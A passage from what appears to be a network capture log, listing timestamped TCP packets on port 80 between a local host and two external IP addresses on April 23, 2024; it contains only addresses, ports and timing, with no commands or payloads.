Apr 23, 2024 09:38:06.200861931 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.200902939 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.200928926 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.200941086 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.200978041 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.200994015 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.201013088 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.201037884 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.201049089 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.201085091 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.201119900 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.201145887 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.201154947 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.201163054 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.201189995 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.201225996 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.201261997 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.201276064 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.201297045 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.201306105 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.201333046 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.201368093 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.201402903 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.201417923 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.201437950 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.201447964 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.201473951 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.201508999 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.201545000 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.201570034 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.201580048 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.201590061 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.201617002 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.201652050 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.201688051 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.201697111 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.201723099 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.201734066 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.201772928 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.201808929 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.201844931 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.201858997 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.201881886 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.201891899 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.201920033 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.201957941 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.201993942 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.202027082 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.202028990 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.202053070 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.202068090 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.202104092 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.202114105 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.202138901 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.202174902 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.202210903 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.202218056 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.202248096 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.202260017 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.202284098 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.202318907 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.202354908 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.202361107 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.202389956 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.202413082 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.202425003 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.202460051 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.202496052 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.202497959 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.202533960 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.202542067 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.202569008 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.202605009 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.202642918 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.202650070 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.202678919 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.202702999 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.202714920 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.202718973 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.202750921 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.202754974 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.202785969 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.202791929 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.202821016 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.202843904 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.202857018 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.202861071 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.202892065 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.202898979 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.202929020 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.202933073 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.202965021 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.202970028 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.203001022 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.203006029 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.203037024 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.203042984 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.203073025 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.203078032 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.203109026 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.203115940 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.203144073 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.203147888 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.203180075 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.203191042 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.203216076 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.203222036 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.203250885 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.203255892 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.203286886 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.203293085 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.203322887 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.203326941 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.203358889 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.203367949 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.203396082 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.203408957 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.203433037 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.203433990 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.203469038 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.203475952 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.203505993 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.203510046 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.203547001 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.379492044 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.379553080 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.379594088 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.379631042 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.379636049 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.379637003 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.379671097 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.379677057 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.379677057 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.379708052 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.379719973 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.379749060 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.379761934 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.379785061 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.379796982 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.379826069 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.379836082 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.379867077 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.379878998 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.379904985 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.379918098 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.379945040 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.379955053 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.379981995 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.380013943 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.380033016 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.380295992 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.380340099 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.380354881 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.380377054 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.380388975 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.380428076 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.380851030 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.380888939 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.380913019 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.380935907 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.380942106 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.380975008 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.380990982 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.381026983 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.382113934 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.382152081 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.382167101 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.382200956 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.382265091 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.382303953 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.382319927 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.382343054 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.382354021 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.382385015 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.382399082 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.382422924 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.382431030 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.382460117 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.382473946 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.382497072 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.382519960 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.382534981 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.382543087 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.382576942 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.382591963 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.382613897 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.382622957 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.382651091 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.382661104 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.382688999 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.382702112 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.382726908 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.382736921 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.382765055 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.382776022 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.382803917 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.382824898 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.382842064 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.382848978 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.382878065 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.382891893 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.382920980 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.382925987 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.382962942 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.382973909 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.383012056 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.436392069 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.436486959 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.436523914 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.436536074 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.436561108 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.436599970 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.436599016 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.436599016 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.436629057 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.436635971 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.436645031 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.436672926 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.436676979 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.436708927 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.436716080 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.436744928 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.436762094 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.436781883 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.436809063 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.436835051 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.436840057 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.436876059 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.436882973 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.436912060 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.436923027 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.436961889 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.436969042 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.437005043 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.437021971 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.437042952 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.437055111 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.437078953 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.437092066 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.437127113 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.437133074 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.437170982 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.437202930 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.437222958 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.437225103 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.437259912 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.437284946 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.437297106 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.437305927 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.437334061 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.437350035 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.437370062 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.437381983 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.437406063 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.437439919 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.437441111 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.437467098 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.437477112 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.437484980 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.437514067 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.437527895 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.437551022 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.437558889 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.437587023 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.437613964 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.437622070 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.437633991 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.437658072 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.437671900 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.437694073 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.437706947 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.437730074 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.437742949 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.437766075 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.437788010 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.437802076 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.437828064 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.437838078 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.437865973 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.437874079 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.437886000 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.437910080 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.437922955 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.437947035 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.437966108 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.437982082 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.437998056 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.438018084 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.438031912 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.438054085 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.438066959 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.438091993 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.438107014 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.438127995 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.438139915 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.438163996 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.438178062 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.438200951 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.438213110 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.438235998 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.438250065 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.438272953 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.438285112 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.438308954 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.438344955 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.438349962 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.438370943 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.438380957 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.438393116 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.438417912 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.438441992 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.438455105 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.438461065 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.438489914 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.438513041 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.438525915 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.438539028 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.438561916 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.438585997 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.438596964 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.438611031 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.438632965 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.438644886 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.438668966 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.438687086 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.438705921 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.438716888 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.438744068 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.438750029 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.438780069 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.438792944 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.438816071 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.438837051 CEST	49734	80	192.168.2.4	176.97.76.106
